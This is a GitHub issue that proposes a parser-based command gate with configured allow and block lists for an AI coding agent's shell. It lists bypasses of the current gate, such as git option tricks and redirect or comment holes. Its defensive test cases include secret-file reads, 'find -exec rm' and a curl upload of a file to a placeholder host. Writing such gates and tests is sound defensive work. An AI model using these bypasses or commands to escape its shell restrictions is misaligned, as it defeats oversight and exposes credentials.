Skip to content

feat(roadmap): check shell commands with a parser and configured lists #5201

Not planned
1 of 1 issue completed
Not planned

Description

@dan-petty

Problem or Motivation

The implement shell gate reads only the first word with shlex, and it finds operators as plain text (implement_step.py:575-577; pydantic_ai_harness/shell/_toolset.py:295-310).

  • In 7 days (Loki, namespace devops, container runner, 2026-11-05..12), the gate refused 175 of 2,526 shell calls (6.9 %). 78 % of these refusals were of allowlisted programs.
  • The shapes S1-S6 (127 of 175) are syntax only: a quoted ; in uv run python -c, a quoted heredoc, git status && git log, ; chains of reads, and pipes into cat or sort.
  • All 13 halts on 3 refusals in a row came from S1 or S2 (implement_tool_log.py:503). No Loki line records a halt: 0 lines in 30 days for the texts of messages.py:3073-3078.

The gate also lets dangerous commands through. uv and git take any arguments, so uv run curl ..., git -c alias.x='!cmd' x and git push pass. Probes found parse holes:

  • G1: text that shlex cannot read skips the allowlist (_toolset.py:299-302).
  • G2: a bare & starts a second program (constants.py:3620-3635).
  • G3: cat x 1<>made writes a file (implement_shell_policy.py:240).
  • tree-sitter reads a # after a backslash-newline as a comment, but dash runs the text after it.
  • git grep -O<cmd>, GIT_EXTERNAL_DIFF=<cmd> git diff and git --config-env start programs. git diff --output=../x writes outside the repository.
  • A doubled / or a glob in a path word gets past word patterns.

All lists are code constants. No setting changes them, and no repository has its own list (implement_shell_policy.py:120-208; settings.py:1262). The owner asked for a configured allowlist and blocklist, with a one-line reason for each entry.

Proposed Solution & Architectural Design

Add the package src/devops_cli/roadmap/command_gate/ (tracker #5199 gives the gate flow):

  • parse.py: the tree-sitter-bash walker (tree-sitter-bash 0.25.1, pyproject.toml:66). It gives the simple commands and their argv, and it applies the rules of gate flow steps 2-4: long, invisible_char, non_ascii, parse_error, comment, continuation, substitution, background, compound, bash_only, path_program, program_env (an allowlist of env names), opaque_executor, interactive, too_many_parts and opaque_blob. It unwraps the wrappers of step 6.
  • words.py: the normalization of path words, glob expansion (at most 200 results), path classes, and the rule write_outside for every program.
  • argmodel.py: the git global-option table (rule git_global), the uv run option table, and the sed and awk script check (<script_exec>).
  • lists.py: the entry model (id, pattern, reason, instead, except, floor, match, not_match) in the shape of the Codex prefix_rule, the merge of defaults, settings and repository entries, and the load checks.
  • default_lists.yaml: today's programs as entries with narrower arguments, the measured safe forms, the indirect-executor table, the host list and the block entries. The measured safe forms are git -C <checkout>, git --no-pager, git stash list and show, git worktree list, git merge-base, ls-tree, for-each-ref, check-ignore, the read forms of git branch and git remote, and uv run of ast-grep, coverage, diff-cover and actionlint.
  • profiles.py: the profile table. This item adds implement_shell. Later items add the other profiles.
  • gate.py: judge(command, profile, repo) returns a Verdict (run or refuse, source, rule, text). In this item, the gate refuses the rest with source default, and the text names the 3 nearest allow entries.

Owner decisions of 2026-11-12 (tracker #5199):

  • Inline Python goes on the allowlist: uv run python -c '<code>' and uv run python - <<'PY' with a quoted heredoc. They have the same power as uv run python <file>. This removes 77 refusals and all 13 measured halts.
  • These are floor block entries (floor: true), and only the owner can remove one: git push, git config writes, git remote changes, git options that start a program or write a file, secret paths, and writes outside the checkout.
  • The design also proposes these default block entries: send-data flags, package installs and uv run --with outside the lock, inline code of other interpreters, persistence programs, and curl, wget and git to a host off roadmap.command_gate.hosts. They are not in the owner's floor list, so the pull request does not mark them floor.
  • The job record of the item keeps the masked text of each refused command: at most 300 characters for each command and 20 commands for each Job, for 14 days. The text goes through mask_secrets and mask_private_hosts first. The log line and the counter still hold no argument word.

Wire the gate into _RefusingToolset (implement_shell_refusal.py:73-105). Set the harness Shell to allowed_commands=[], denied_commands=[] and denied_operators=[] (implement_step.py:575-577). The explicit empty denied_commands list matters: the harness puts its default deny list back when the field holds the default object (pydantic_ai_harness/shell/_capability.py:144-145). The harness keeps its NUL, encoding and interactive checks.

Remove HARNESS_DENIED_OPERATORS, pipe_refusal and refused_argument. Make these from the lists: IMPLEMENT_SHELL_PROGRAMS, the prompt table (implement_shell_policy.py:519-547; ai/tasks/roadmap_implement_step.md:49-57) and the tool-log vocabulary (implement_tool_log.py:95-103, 170). When ToolCallLog stops a step, it logs Command gate halt: limit <name>, last rule <id>.

Add:

  • The settings model roadmap.command_gate (allow, block, hosts, env_allow, repos, command_chars, max_parts, max_rest_parts).
  • The counter devops_cli_roadmap_command_gate_total{gate,source,verdict}.
  • The log line Command gate: <gate>, source <source>, rule <entry or rule id>, program <name or other>, <verdict>, seconds <n>., with no argument word.
  • ADR 0026 for the full three-tier design: the gate is an accident filter; Jev comes later, in shadow first; Jev is never the only control; the pod and the egress limits are the boundary.
  • SECURITY.md: the floor entries, as an accident filter that only the owner can change.
  • README.md: the settings and the metric. Regenerate docs/CONFIGURATION.md and docs/TELEMETRY.md.

Report the tree-sitter difference (a comment after a line continuation) upstream.

Files: src/devops_cli/roadmap/command_gate/ (__init__.py, parse.py, words.py, argmodel.py, lists.py, profiles.py, gate.py, default_lists.yaml); src/devops_cli/roadmap/implement/ (implement_shell_refusal.py, implement_step.py, implement_shell_policy.py, implement_tool_log.py); src/devops_cli/config/constants.py; src/devops_cli/config/settings.py; src/devops_cli/telemetry/instruments.py; src/devops_cli/lang/en/messages.py; src/devops_cli/ai/tasks/roadmap_implement_step.md; docs/adr/0026-a-command-gate-parses-each-command-checks-configured-lists-and-asks-jev-for-the-rest.md; SECURITY.md; README.md; docs/CONFIGURATION.md; docs/TELEMETRY.md; tests/roadmap/command_gate/ (test_roadmap_command_gate_parse.py, _words.py, _lists.py, _gate.py, _dash.py, cases_2026_11.json, started_2026_11.json); tests/roadmap/implement/ (test_roadmap_implement_shell_refusal.py, _shell_policy.py, _read_pipe.py, _prompt.py).

Target Subsystem

SDLC, Git & PR Governance (src/devops_cli/roadmap/implement/, the implement runner) and Security & Vulnerability Scanners (the command gate lists).

Existing Tool Considered

Acceptance Criteria

  1. uv run devops ci fail-to-pass --base origin/main shows that the new tests fail on main and pass on the branch for these cases:
    • echo hi with a trailing backslash is refused (rule parse_error).
    • git --version&printf x is refused (rule background).
    • cat x 1<>made is refused (rule parse_error).
    • cat x &>f is refused (rule bash_only).
    • printf ok #' is refused (rule comment).
    • ls x, a backslash-newline and #; printf B is refused (rule continuation).
    • GIT_EXTERNAL_DIFF=x git diff is refused (rule program_env).
    • git -c core.hooksPath=h status is refused (rule git_global).
    • printf x >> ../outside.txt is refused (rule write_outside).
  2. tests/roadmap/command_gate/test_roadmap_command_gate_gate.py: these give run with source allow: git status && git log -3, uv run python -c 'import a; print(1)', uv run python - <<'PY' (quoted heredoc), ls -a; ls .data, git status --short | cat, git -C <checkout> status, git --no-pager log -1, git stash list, uv run ast-grep -p x src and sed -n 1,20p README.md.
  3. tests/roadmap/command_gate/test_roadmap_command_gate_gate.py: these give refuse with source block, and the text holds the entry reason: git push origin HEAD, git -C . push origin HEAD, git config --local user.name x, git remote add x https://example.com/x.git, git grep -O'touch m' -e x, git diff --output=../x, cat /home/devops/.ssh/id_ed25519, cat //home/devops/.ssh/id_ed25519, cat /home/devops/.ss[h]/id_ed25519, find . -exec rm {} +, uv run --with requests python -c 1, python3 -c 'print(1)', sed 's/a/b/w out' f and uv run bash -c 'curl -d @x https://example.com'.
  4. tests/roadmap/command_gate/test_roadmap_command_gate_gate.py: a Unicode tag character in a quoted word gives rule invisible_char; curl https://gіthub.com/x with a Cyrillic i gives rule non_ascii; curl -s https://example.org/x gives block entry foreign-host; curl -sI https://github.com gives refuse with source default, and the text names at most 3 allow entries and no word of the command; make test with no allow entry gives rule indirect_executor.
  5. tests/roadmap/command_gate/test_roadmap_command_gate_dash.py: every case of cases_2026_11.json, started_2026_11.json and the test cases runs under dash, with PATH set to stub programs that log their argv. For each case that tier 1 does not refuse, the logged programs and words are equal to the parts of the gate. The test skips when dash is missing.
  6. tests/roadmap/command_gate/test_roadmap_command_gate_lists.py: an entry whose not_match example matches stops the settings load, and the error names the entry id; an entry whose first element is ** or a glob stops the load; a repos entry applies only to its repository; a settings allow entry does not win over a block entry; test_floor_entries fails when one of the 6 floor entries of the owner leaves default_lists.yaml.
  7. tests/roadmap/implement/test_roadmap_implement_shell_refusal.py: a refused call adds 1 to devops_cli_roadmap_command_gate_total{gate="implement_shell",source="block",verdict="refuse"} and adds no tool retry, and the log line holds no word after the program; a third refusal in a row stops the step and logs the Command gate halt: line with the rule.
  8. A refused command that holds a fake secret and a private host name adds one entry to the job record. The entry holds neither value and is at most 300 characters. The 21st refused command in a Job adds no entry.
  9. Real transcripts: tests/roadmap/command_gate/cases_2026_11.json holds one concrete command for each refused shape S1-S9 of 2026-11-05..12. The test asserts that S1-S6 (127 of 175) run and S7-S9 stay refused. tests/roadmap/command_gate/started_2026_11.json holds one concrete command for each command shape of the Loki started: lines of the same 7 days. The test asserts that at most 5 shapes that ran then are refused now, and the file names each one with its reason (for example uv tool install and uv lock).
  10. uv run devops ci test tests/roadmap/command_gate tests/roadmap/implement passes.

Dependencies

Related

Source: #5199

Proposed design

Problem statement

Build the command gate as one pull request; hold it on the owner's private security fix. The implement shell gate refuses safe commands and lets dangerous ones through: it reads only the first word with shlex and finds operators as plain text. In 7 days it refused 175 of 2,526 shell calls, and 78 % of these refusals were of allowlisted programs. All 13 halts came from two syntax-only shapes. The gate also lets dangerous commands through, because uv and git take any arguments, and all lists are code constants. The change adds a tree-sitter-bash parser and configured lists with a reason for each entry, and floor blocks that only the owner can remove; the gate splits a chain, accepts quoted code, and names the rule of each verdict.

Acceptance criteria

Requirement: Parser refuses syntax holes

The gate SHALL refuse a command with the named rule when the parse fails, a second program starts, the text changes, or a write leaves the checkout.

Scenario: Refuse each parse hole

  • WHEN A test judges echo hi\, git --version&printf x, cat x 1<>made, cat x &>f, printf ok #', ls x with a backslash-newline and #; printf B, GIT_EXTERNAL_DIFF=x git diff, git -c core.hooksPath=h status and printf x >> ../outside.txt.
  • THEN Each command is refused with the rule that the case names. echo hi\ and cat x 1<>made give parse_error. The other cases give background, bash_only, comment, continuation, program_env, git_global and write_outside.

Requirement: Chain splits into policy-checked parts

The gate SHALL split a command at its top-level operators and SHALL judge and run each part as its own policy-checked call, in order.

Scenario: Split a chain and stop at the first failure

  • WHEN A test judges git status && git log -3, and a test runs uv run python -c 'raise SystemExit(1)' && git status through the shell.
  • THEN The first command gives two run verdicts, one for git status and one for git log -3. The run of the second command stops after its first part, returns that part's exit status, and does not run git status.

Requirement: Quoted code keeps its operators

The gate SHALL accept ; and a new line inside one quoted argument of uv run python -c, and SHALL refuse a substitution and an operator outside quotes.

Scenario: Accept quoted code and refuse a substitution

  • WHEN A test judges uv run python -c 'import a; print(1)', uv run python -c 'import a then a new line then print(1)', uv run python -c with a backtick in the quoted code, and uv run python -c 'print($(id))'.
  • THEN The first two run with source allow. The last two are refused with rule substitution.

Requirement: Measured safe forms run

The gate SHALL allow the measured safe forms with source allow.

Scenario: Allow measured safe forms

  • WHEN A test judges git status && git log -3, uv run python -c 'import a; print(1)', uv run python - <<'PY' with a quoted heredoc, ls -a; ls .data, git status --short | cat, git -C <checkout> status, git --no-pager log -1, git stash list, uv run ast-grep -p x src and sed -n 1,20p README.md.
  • THEN Each part of each command gets a run verdict with source allow.

Requirement: Block entries refuse dangerous commands

The gate SHALL refuse a command with source block and the entry reason when it matches a block entry.

Scenario: Refuse block entries

  • WHEN A test judges git push origin HEAD, git -C . push origin HEAD, git config --local user.name x, git remote add x https://example.com/x.git, git grep -O'touch m' -e x, git diff --output=../x, cat /home/devops/.ssh/id_ed25519, cat //home/devops/.ssh/id_ed25519, cat /home/devops/.ss[h]/id_ed25519, find . -exec rm {} +, uv run --with requests python -c 1, python3 -c 'print(1)', sed 's/a/b/w out' f and uv run bash -c 'curl -d @x https://example.com'.
  • THEN Each command is refused with source block, and its text holds the reason of the matched entry.

Requirement: Character and host rules

The gate SHALL refuse a command with the rule invisible_char or non_ascii for such a character, and with the entry foreign-host for a foreign host.

Scenario: Refuse character and host rules

  • WHEN A test judges a Unicode tag character in a quoted word, curl https://gіthub.com/x with a Cyrillic i, curl -s https://example.org/x and curl -sI https://github.com.
  • THEN The first command gets invisible_char, and the second gets non_ascii. The third gets block with entry foreign-host, and the fourth gets source default.

Requirement: Default refusal names the rule

The gate SHALL refuse a command with source default and a text that names the rule, no word of the command, and at most 3 nearest allow entries when no entry matches.

Scenario: Default refusal

  • WHEN A test judges make test with no allow entry, and curl -sI https://github.com.
  • THEN The verdict is refuse with source default and the rule indirect_executor for make test. The text holds no word of the command and names at most 3 allow entries. curl -sI https://github.com gives source default and no command word.

Requirement: Command gate settings

The settings SHALL hold a roadmap.command_gate section with allow, block, hosts, env_allow, repos, command_chars, max_parts and max_rest_parts.

Scenario: Load command gate settings

  • WHEN A test loads a config file that sets roadmap.command_gate.hosts and one allow entry.
  • THEN The settings hold the host and the entry. A value that is not valid stops the load with an error that names the key.

Requirement: Lists load checks

The gate SHALL stop the settings load for a bad not_match example or a glob first element, and SHALL apply a repos entry only to its repository.

Scenario: Refuse bad list entries

  • WHEN A test loads settings with an entry whose not_match example matches, an entry whose first element is **, and a repos entry for another repository.
  • THEN The load fails with an error that names the entry id, and the glob entry fails. The repos entry does not apply to the other repository.

Requirement: Settings allow does not beat block

The gate MUST let a block entry win over a settings allow entry.

Scenario: Block wins over allow

  • WHEN A test sets a settings allow entry and a block entry for the same command.
  • THEN The command is refused with source block.

Requirement: Floor entries stay

The gate MUST fail its test when one of the 6 floor entries of the owner leaves default_lists.yaml.

Scenario: Floor entries stay

  • WHEN A test reads default_lists.yaml and checks the 6 floor entries.
  • THEN The test fails when any floor entry is missing.

Requirement: Metric, log line and halt

The gate SHALL add 1 to the counter for a refused call, add no tool retry, and write the log line with no argument word. It SHALL stop the step after the third refusal in a row.

Scenario: Refused call metric and halt

  • WHEN A test refuses three commands in a row through the implement shell.
  • THEN The counter adds 1 for the block refusal, and the tool retry count stays the same. The log line holds no word after the program and has the six fields. The third refusal stops the step with a Command gate halt: limit <name>, last rule <id>. line.

Requirement: Masked refusal record

The job record SHALL keep a masked text of each refused command, at most 300 characters each and 20 commands for each Job, for 14 days.

Scenario: Masked refusal record

  • WHEN A test refuses a command that holds a fake secret and a private host name, and then refuses 21 commands in one Job.
  • THEN The job record holds one entry that holds neither value and is at most 300 characters. The 21st command adds no entry.

Requirement: Real transcripts

The gate MUST allow the S1-S6 shapes of the 2026-11-05..12 transcripts and refuse S7-S9, and MUST refuse at most 5 shapes of the Loki started: lines.

Scenario: Replay real transcripts

  • WHEN A test runs cases_2026_11.json and started_2026_11.json through the gate.
  • THEN S1-S6 run, and S7-S9 are refused. At most 5 shapes that ran then are refused now, each named with its reason.

Requirement: Gate parts match dash

The gate SHALL give the same programs and words as dash for each case that tier 1 does not refuse.

Scenario: Run cases under dash

  • WHEN A test runs cases_2026_11.json, started_2026_11.json and the test cases under dash, with PATH set to stub programs that log their argv. The test skips when dash is missing.
  • THEN For each case that tier 1 does not refuse, the logged programs and words are equal to the parts of the gate.

Requirement: Constants derive from the lists

The change SHALL remove HARNESS_DENIED_OPERATORS, pipe_refusal and refused_argument, and SHALL derive IMPLEMENT_SHELL_PROGRAMS and the tool-log vocabulary from the lists.

Scenario: Constants match the lists

  • WHEN A test loads the tool log with a default list that names a program and a refusal.
  • THEN The allowed-programs line and the tool-log vocabulary name the same programs as the lists. The removed symbols are absent.

Requirement: Prompt allows the measured safe forms

The prompt SHALL allow chains of allowlisted commands, pipes into cat and sort, uv run python -c and a quoted heredoc, and SHALL keep the ban on sleep, polling and a refused command.

Scenario: Prompt matches the gate

  • WHEN A test reads src/devops_cli/ai/tasks/roadmap_implement_step.md.
  • THEN It names uv run python -c, a quoted heredoc, ; and && chains and pipes into cat and sort as allowed. It still forbids sleep and polling.

Requirement: Only the implement_shell profile

The change SHALL add only the implement_shell profile to the profile table.

Scenario: Profile table

  • WHEN A test reads the profile table.
  • THEN It holds implement_shell and no other profile.

Requirement: ADR and documents

The change SHALL add ADR 0026 for the three-tier design, the floor entries to SECURITY.md, the settings and metric to README.md, and SHALL regenerate docs/CONFIGURATION.md and docs/TELEMETRY.md.

Scenario: Documents record the gate

  • WHEN A test or docs check reads ADR 0026, SECURITY.md, README.md and the generated documents.
  • THEN ADR 0026 states the three tiers, that the gate is an accident filter and not a security boundary, that Jev comes later in shadow first and is never the only control, and that the pod and egress limits are the boundary. SECURITY.md names the floor entries. README.md names the settings and metric, and the generated documents hold the same settings and metric.

Requirement: Tests pass

The change SHALL pass uv run devops ci test tests/roadmap/command_gate tests/roadmap/implement.

Scenario: Gate tests pass

  • WHEN The CI test command runs on the branch.
  • THEN The command exits 0.

Existing Tool Considered

No alternatives check has run. tree-sitter-bash 0.25.1 is the open, maintained parser and is already a dependency at pyproject.toml:66; it covers the parse of a shell command and lacks the configured allowlist and blocklist, the reason and examples of each entry, the floor entries, the path and argument models, the chain split, the quoted-code rule and the gate. The Codex rules design gives the data shape, and fnmatch, glob and unicodedata are stdlib. sh-guard and bashlex are GPLv3, AgentTrust is AGPL, and SecureShell is unmaintained. The project builds the gate in about 650 lines. The written cost is about 1.8M tokens to build, keep and fix, and 2.5 days elapsed.

Key questions

  • Which parser reads each shell command?: Use tree-sitter-bash 0.25.1. It is already a dependency at pyproject.toml:66, and it gives the simple commands, their argv, the redirections, the heredocs and the operators. shlex reads only the first word and finds the operators as plain text. (best practice) [sources: pyproject.toml:66, src/devops_cli/roadmap/implement/implement_step.py, src/devops_cli/roadmap/implement/implement_shell_policy.py]
    • Chosen: tree-sitter-bash. It is already a dependency, and it parses operators, redirections, heredocs and continuations.
    • Rejected: shlex and text patterns. This is the current gate; it reads only the first word and finds operators as plain text.
    • Rejected: bashlex. The issue names it GPLv3, so this MIT project cannot vendor it.
  • How does the gate split a chain and read quoted code?: The parser splits the command at its top-level ;, &&, || and | operators. The gate judges and runs each part as its own policy-checked call, in order. It stops at the first exit that is not 0. It accepts ; and a new line inside one quoted argument of uv run python -c. It refuses $(, a backtick and an operator outside quotes. (best practice) [sources: src/devops_cli/roadmap/implement/implement_shell_policy.py, src/devops_cli/ai/tasks/roadmap_implement_step.md]
    • Chosen: split the chain and read quoted code. The reply of 2026-11-13 measured 71 refusals in 1,231 calls: 27 were quoted code with ; or a new line, and 17 were git with &&.
    • Rejected: refuse the whole command. This is the current gate; the model sends the same form again 17 times after a python -c refusal.
  • Which finder gives the top-level operators?: The tree-sitter-bash tree gives the operator nodes and the heredoc body. shlex with punctuation_chars=True finds the same operators outside quotes, but it cannot tell a heredoc body from a command, so the gate uses the tree. (best practice) [sources: pyproject.toml:66, src/devops_cli/roadmap/implement/implement_shell_policy.py]
    • Chosen: tree-sitter operator nodes. The tree holds the heredoc and the redirections, so a split keeps a quoted heredoc whole.
    • Rejected: shlex with punctuation_chars. It finds operators outside quotes, but a heredoc body becomes words and operators of the command.
  • Does inline Python go on the allowlist?: Yes. The owner decided on 2026-11-12 to allow uv run python -c '<code>' and uv run python - <<'PY' with a quoted heredoc. They have the same power as uv run python <file>, and they remove 77 refusals and all 13 measured halts. (best practice) [sources: src/devops_cli/ai/tasks/roadmap_implement_step.md, src/devops_cli/roadmap/implement/implement_shell_policy.py]
    • Chosen: allow inline Python. The owner decided it, and it removes the measured refusals and halts.
    • Rejected: refuse all inline Python. It keeps the 77 refusals and the halts that the owner decided to remove.
    • Rejected: allow -c but refuse heredocs. A quoted heredoc is a safe form that the owner named.
  • Which block entries are floor entries that only the owner can remove?: The owner named six floor entries on 2026-11-12: git push, git config writes, git remote changes, git options that start a program or write a file, secret paths, and writes outside the checkout. The pull request marks only these as floor: true and records them in SECURITY.md. (best practice) [sources: SECURITY.md, src/devops_cli/roadmap/implement/implement_shell_policy.py]
    • Chosen: the six owner floor entries. The owner named them on 2026-11-12.
    • Rejected: every default block entry is floor. The owner said the other default blocks are not floor.
    • Rejected: no floor entries. It removes the owner-only guard.
  • Do the proposed default block entries become floor entries?: No. The default block entries are send-data flags, package installs, uv run --with outside the lock, inline code of other interpreters, persistence programs, and curl, wget and git to a host off roadmap.command_gate.hosts. The owner said on 2026-11-12 that they are not in the floor list, so the pull request does not mark them floor. (best practice) [sources: src/devops_cli/roadmap/implement/implement_shell_policy.py]
    • Chosen: default block entries are not floor. The owner said they are not in the floor list.
    • Rejected: make them floor. It gives the owner list more entries than the owner named.
    • Rejected: omit them. They still block by default, and the issue asks for them.
  • What does the job record keep of a refused command?: Keep the masked text of each refused command: at most 300 characters for each command and 20 commands for each Job, for 14 days. Run the text through mask_secrets and mask_private_hosts first. The log line and the counter still hold no argument word. (best practice) [sources: src/devops_cli/roadmap/implement/implement_tool_log.py, src/devops_cli/security/sanitizer.py]
    • Chosen: masked text, bounded. It gives evidence for a stop and keeps secrets and private hosts out.
    • Rejected: hash of each command. A hash gives no evidence of the refused shape.
    • Rejected: full command text. It can hold a secret or a private host.
  • How does the gate connect to the harness shell?: Wrap the harness shell in _RefusingToolset and set allowed_commands=[], denied_commands=[] and denied_operators=[]. The explicit empty denied_commands list matters: the harness puts its default deny list back when the field holds the default object. The harness keeps its NUL, encoding and interactive checks. (best practice) [sources: src/devops_cli/roadmap/implement/implement_shell_refusal.py, src/devops_cli/roadmap/implement/implement_step.py]
    • Chosen: wrap the harness shell and empty its lists. The gate judges every command, and the harness keeps its low-level checks.
    • Rejected: keep the harness lists and add the gate beside them. Two allowlists disagree, and the harness still refuses a call after the judge admits it.
    • Rejected: replace the harness shell. It loses the NUL, encoding and interactive checks.
  • Which code constants become generated from the lists?: Remove HARNESS_DENIED_OPERATORS, pipe_refusal and refused_argument. Make IMPLEMENT_SHELL_PROGRAMS and the tool-log vocabulary from the lists. When ToolCallLog stops a step, it logs Command gate halt: limit <name>, last rule <id>. (best practice) [sources: src/devops_cli/roadmap/implement/implement_shell_policy.py, src/devops_cli/roadmap/implement/implement_tool_log.py]
    • Chosen: derive the constants and the vocabulary from the lists. One source of truth keeps the lists and the log vocabulary equal.
    • Rejected: keep the constants and the lists. They drift, and the log can name a program that the gate refuses.
  • Which metric and log line does the gate emit?: Add the counter devops_cli_roadmap_command_gate_total{gate,source,verdict} and the log line Command gate: <gate>, source <source>, rule <entry or rule id>, program <name or other>, <verdict>, seconds <n>. with no argument word. (best practice) [sources: src/devops_cli/telemetry/instruments.py, src/devops_cli/lang/en/messages.py, docs/TELEMETRY.md]
    • Chosen: counter and log line. The counter shows the gate result, and the log gives the rule without an argument word.
    • Rejected: counter only. An operator cannot see which rule refused a command.
    • Rejected: log line only. No dashboard or alert can count the refusals.
  • Which documents record the design and the floor entries?: Add ADR 0026 for the three-tier design. Put the floor entries in SECURITY.md as an accident filter that only the owner can change. Put the settings and the metric in README.md, and regenerate docs/CONFIGURATION.md and docs/TELEMETRY.md. (best practice) [sources: SECURITY.md, README.md, docs/CONFIGURATION.md, docs/TELEMETRY.md]
    • Chosen: ADR, SECURITY, README and generated docs. The project records a design in an ADR, and a generated document is never edited by hand.
    • Rejected: README only. It leaves the floor entries and the three-tier design unrecorded.
    • Rejected: edit the generated docs by hand. The docs row of Static Analysis refuses a generated document that its generator did not write.
  • Which gate profile does this item add?: Add only the implement_shell profile. Later items add the other profiles. The profile table lives in profiles.py, and this item wires only the implement shell. (best practice) [sources: src/devops_cli/roadmap/implement/implement_step.py]
    • Chosen: only implement_shell. The issue says this item adds implement_shell and later items add the other profiles.
    • Rejected: all profiles now. It grows the item beyond the issue and delays the implement shell.
    • Rejected: no profile table. The issue names profiles.py, and the later items need the table.
  • What does the gate do with a command that matches no entry?: It refuses the command with source default. For a program that runs another program, the rule is indirect_executor. The text holds the rule id, no word of the command, and at most 3 nearest allow entries. (best practice) [sources: src/devops_cli/roadmap/implement/implement_shell_policy.py]
    • Chosen: refuse with the rule id and the nearest allow entries. An unknown program is the case that the gate must refuse, and the model needs a safe hint to correct the call.
    • Rejected: allow it. An unknown program is the case that the gate must refuse.
    • Rejected: refuse with no text. The model needs a safe hint to correct the call.
  • Where do the lists come from and which one wins?: The defaults are package data in default_lists.yaml. Settings add entries globally and for each repository under roadmap.command_gate, and a block entry wins over an allow entry. The gate never reads a list from the target repository, so a repository cannot widen its own gate. (best practice) [sources: src/devops_cli/config/settings.py, src/devops_cli/roadmap/implement/implement_shell_policy.py]
    • Chosen: defaults, settings and repository entries. The owner asked for a configured list, and package defaults keep a safe gate when no setting exists.
    • Rejected: code constants only. This is the current problem; no setting or repository can change the list.
    • Rejected: a list file in the target repository. The target repository could widen its own gate, and the issue forbids it.
  • How does the gate treat path words and writes?: Normalize each path word, expand a glob to at most 200 results, give each path a class (checkout, tmp, scratch_home, git_internal, secret or outside), and refuse a write redirect to a target outside the checkout, /tmp and the scratch HOME. The class check also catches a doubled / and a glob that a plain word pattern would miss. (best practice) [sources: src/devops_cli/roadmap/implement/implement_shell_policy.py]
    • Chosen: normalize, expand and classify paths. It closes the doubled-slash and glob holes and gives one rule for every program.
    • Rejected: match the raw word against a pattern. A doubled / or a glob gets past the pattern, which is the measured hole.
    • Rejected: check only the first redirect. A later redirect or a program that writes can still leave the checkout.
  • Is the command gate a security boundary?: No. The gate is an accident filter and a usability filter. The pod and the egress limits are the security boundary. Jev comes later, in shadow first, and it is never the only control. (best practice) [sources: SECURITY.md, CONTEXT.md]
    • Chosen: accident filter, with the pod and egress limits as the boundary. The tracker records this, and a parser bypass is not a breach of the boundary.
    • Rejected: the gate is the security boundary. A parser or list bypass would then be a security breach, which the design cannot guarantee.
    • Rejected: no gate. The measured 175 refusals and 13 halts show that the gate is needed for usability and accidents.

Fit

Fits in one pull request.

Suspected block

A private security fix that the owner holds; the gate must not deploy before that fix lands.

Dependencies

None.

Alternatives check of 2026-11-28: in-use.
The repository already uses this tool.
Tool: tree-sitter/tree-sitter-bash (https://github.com/tree-sitter/tree-sitter-bash), MIT, last activity 2026-09-13, maintained.
Reason: Searches and fact reads found tree-sitter-bash, an MIT, maintained bash parser that the project already depends on; it covers parsing of commands, argv, redirections and heredocs, but not the configured lists, path rules or gate verdicts, so it covers only part of the need.

Covers:

  • Parses bash into a tree of simple commands and argv words
  • Gives redirections, heredocs, operators and continuations as nodes
  • Keeps quoted words whole, so a quoted semicolon is one argument
  • MIT licensed and already a project dependency at 0.25.1

Lacks:

  • Configured allow and block entries with a reason and examples
  • Floor entries that only the owner can remove
  • Path normalization, glob expansion and the write-outside rule
  • Chain splitting, per-part verdicts and default refusal text

Sub-issues

Sub-issues

1 of 1 Issues completed
Loading 1 sub-issues

Activity

  1. added
    source/agent
    on Nov 12, 2026
  2. added
    type/feature
    scope/roadmap
    status/new
    value/high
    effort/high
    on Nov 12, 2026
  3. dan-petty commented on Nov 12, 2026

    @dan-petty
    OwnerAuthor
    • Priority: P1-High. The gate has confirmed parse holes that let program execution through and refuses 78% of allowlisted calls.
    • Related: feat(roadmap): the implement shell and prompt use the preset #4645, which asks for a different change. Both work on the implement shell gate, but #4645 changes which programs the allowlist names while the candidate changes how commands are parsed and how lists are configured.
  4. added
    priority/p1-high
    on Nov 12, 2026
  5. devops-cli-service commented on Nov 12, 2026

    @devops-cli-service
    Contributor

    Refine cannot set this item to Ready at 7a158c4 until a person answers the questions below. Reply in a comment or edit the body, and the next refine round looks at the item again.

    • A private security fix that the owner holds; the gate must not deploy before that fix lands.
  6. dan-petty commented on Nov 13, 2026

    @dan-petty
    OwnerAuthor

    New evidence of 2026-11-13 (review of failing jobs). The hint part is now a sub-issue: #5452. It can merge before the parser of this item.

    • Loki, implement runner, 17 runs, 2026-11-10 to 2026-11-13: 71 refusals in 1,231 shell calls (5.8%) in 14 runs. python -c code with ; or a new line 27 (10 runs), git with && 15 and with | 2 (9 runs), ls with ; 2.
    • git itself is allowed: 322 of 339 git calls passed.
    • After a python -c refusal, the model sent the same form again 17 times (7 were refused again). After a git ... && refusal, it sent read_file 9 times and one git command only 2 times.
    • Earlier review: 175 refusals in 4,823 shell calls in 37 of 37 runs, and 13 stops after 3 refusals in a row.

    Two concrete parser shapes for this item:

    1. Split a chain. The parser splits a && b and runs each part as its own policy-checked call, in order. It stops at the first exit that is not 0 and returns the exit status of each part.
    2. Quoted code. It accepts ; and a new line inside one quoted argument of uv run python -c. It still refuses $(, backticks and operators outside quotes.

    Python shlex with punctuation_chars=True (standard library) finds operators outside quotes.

    Measure: refusals per implement run go down from about 4, and stops after 3 refusals in a row go to 0.

  7. devops-cli-service commented on Nov 13, 2026

    @devops-cli-service
    Contributor

    Refine cannot set this item to Ready at 6eae498 until a person answers the questions below. Reply in a comment or edit the body, and the next refine round looks at the item again.

  8. devops-cli-service commented on Nov 14, 2026

    @devops-cli-service
    Contributor

    Owner question: A private security fix that the owner holds; the gate must not deploy before that fix lands.

    Options

    1. Decide the question: The job refines the item with your answer.
    2. Leave it to the job: The job records the best-practice answer and goes on.

    Recommendation: Decide the question: only a person can answer it.

    Evidence

  9. devops-cli-service commented on Nov 19, 2026

    @devops-cli-service
    Contributor

    The result in the alternatives block of the issue body changed. Before this check: no check. A person decides what the new result means for the item.

    Searches (8)

    Tools considered:

    Searches run:

